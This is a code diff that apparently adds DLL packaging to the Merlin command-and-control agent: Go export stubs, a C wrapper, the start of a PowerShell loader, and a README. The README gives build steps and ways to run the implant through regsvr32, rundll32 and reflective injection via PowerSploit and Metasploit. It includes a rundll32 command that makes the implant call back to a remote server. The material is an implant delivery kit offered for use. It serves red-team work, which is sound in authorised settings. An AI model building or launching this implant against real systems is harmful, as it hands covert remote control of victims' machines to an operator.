+// DllInstall is used when executing the Merlin agent with regsvr32.exe (i.e. regsvr32.exe /s /n /i merlin.dll)
+// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
+// TODO add support for passing Merlin server URL with /i:"https://192.168.1.100:443" merlin.dll
+func DllInstall(){run(URL)}
+
+//export DllRegisterServer
+// DLLRegisterServer is used when executing the Merlin agent with regsvr32.exe (i.e. regsvr32.exe /s merlin.dll)
+// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
+func DllRegisterServer(){run(URL)}
+
+//export DllUnregisterServer
+// DLLUnregisterServer is used when executing the Merlin agent with regsvr32.exe (i.e. regsvr32.exe /s /u merlin.dll)
+// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
+func DllUnregisterServer(){run(URL)}
+
+//export ReflectiveLoader
+// ReflectiveLoader is used when calling Metasploit's windows/manage/reflective_dll_inject module.
+// This is broken and causes the process to crash
+func ReflectiveLoader(){run(URL)}
+
+// TODO add entry point of 0 (yes a zero) for use with Metasploit's windows/smb/smb_delivery
+// TODO move exported functions to merlin.c to handle them properly and only export Run()
\ No newline at end of file
diff --git a/data/bin/dll/README.MD b/data/bin/dll/README.MD
new file mode 100644
index 00000000..d8ec43fd
--- /dev/null
+++ b/data/bin/dll/README.MD
@@ -0,0 +1,70 @@
+# Merlin Agent DLL
+Merlin can be compiled into a DLL. The `data/bin/dll/merlin.c` file is
+a very simple C file with a single function. The `VoidFunc` and `Run`
+functions are exported to facilitate executing the DLL.
+The `VoidFunc` function name was specifically chosen to facilitate use
+with PowerSploit's
+[Invoke-ReflectivePEInjection.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1)
+. Using `VoidFunc` requires no modification to run Merlin's DLL with
+Invoke-ReflectivePEInjection.
+
+If the DLL is compiled on Windows, the
+[TDM-GCC](http://tdm-gcc.tdragon.net/download) 64bit compiler has proven
+ to work well during testing.
+
+If the DLL is compiled on Linux, ensure `MinGW-w64` is installed.
+
+## Creating the DLL
+The DLL can be created using the Make file with `make agent-dll`
+
+Alternatively, it can be compiled without Make by following these steps:
+* Create the required C archive file:
+ * `cd data/bin/dll;go build -buildmode=c-archive ../../../cmd/merlinagentdll/main.go`
+
+* Compile the DLL
+ * `gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32`
+
+You will now have DLL file that you can use with whatever method of
+execution you would like.
+
+## DLL Entry Points
+This table catalogs the exported functions for `merlin.dll` that can be
+used as an entry point when executing the DLL.
+
+| Exported Function | Status | Notes
+--- | --- | ---
+| Run | Working | Main function to execute Merlin agent
+| DllInstall | Partial | Used with regsvr32.exe /i . Handling for `/i` not implemented
+| DllRegisterServer | Working | Used with regsvr32.exe
+| DllUnregisterServer | Working | Used with regsvr32.exe /u
+| ReflectiveLoader | Broken | Used with Metasploit's windows/manage/reflective_dll_inject module
+| VoidFunc | Working | Used with PowerSploit's Invoke-ReflectivePEInjection.ps1
+
+## Execution with Rundll32.exe
+The DLL can be executed on a Windows host using the rundll32.exe
+program. An example of using `rundll32` is:
+
+`rundll32 merlin.dll,main` or `rundll32 merlin.dll,Run`
+
+A different Merlin server _can_ be provided when executing the DLL by
+suppling the target URL as an argument. An example is:
+
+`rundll32 merlin.dll,Run https://yourdomian.com:443/`
+
+## Invoke-Merlin
+The compiled DLL can be inserted into the `Invoke-Merlin.ps1` script.
+Check the [README](../powershell/README.MD) in the `powershell` directory for
+additional details.
+
+## Limitations
+It is important to note that the DLL is currently in the
+Proof-of-Concept stage. Because of this, there is no way to provide a
+different Merlin server URL when calling `Invoke-Merlin`.
+`Invoke-Merlin` will only call back to the Merlin server at
+127.0.0.1. because that is the hard coded value. Future work will
+facilitate specifying the value at compile time or when executing the
+script. Work is in progress to overcome this issue.
+
+One option to overcome this is to hard-code in the target Merlin server
+address into the `url` variable of the `cmd/merlinagent/main.go` prior
+to creating the C archive file.
\ No newline at end of file
diff --git a/data/bin/dll/merlin.c b/data/bin/dll/merlin.c
new file mode 100644
index 00000000..394a9826
--- /dev/null
+++ b/data/bin/dll/merlin.c
@@ -0,0 +1,7 @@
+#include
+#include "main.h"
+
+int main() {
+ Run();
+ return 0;
+}
\ No newline at end of file
diff --git a/data/bin/powershell/Invoke-Merlin.ps1 b/data/bin/powershell/Invoke-Merlin.ps1
new file mode 100644
index 00000000..b4155e2e
--- /dev/null
+++ b/data/bin/powershell/Invoke-Merlin.ps1
@@ -0,0 +1,2772 @@
+###################################
+########## Merlin DLL ##########
+###################################
+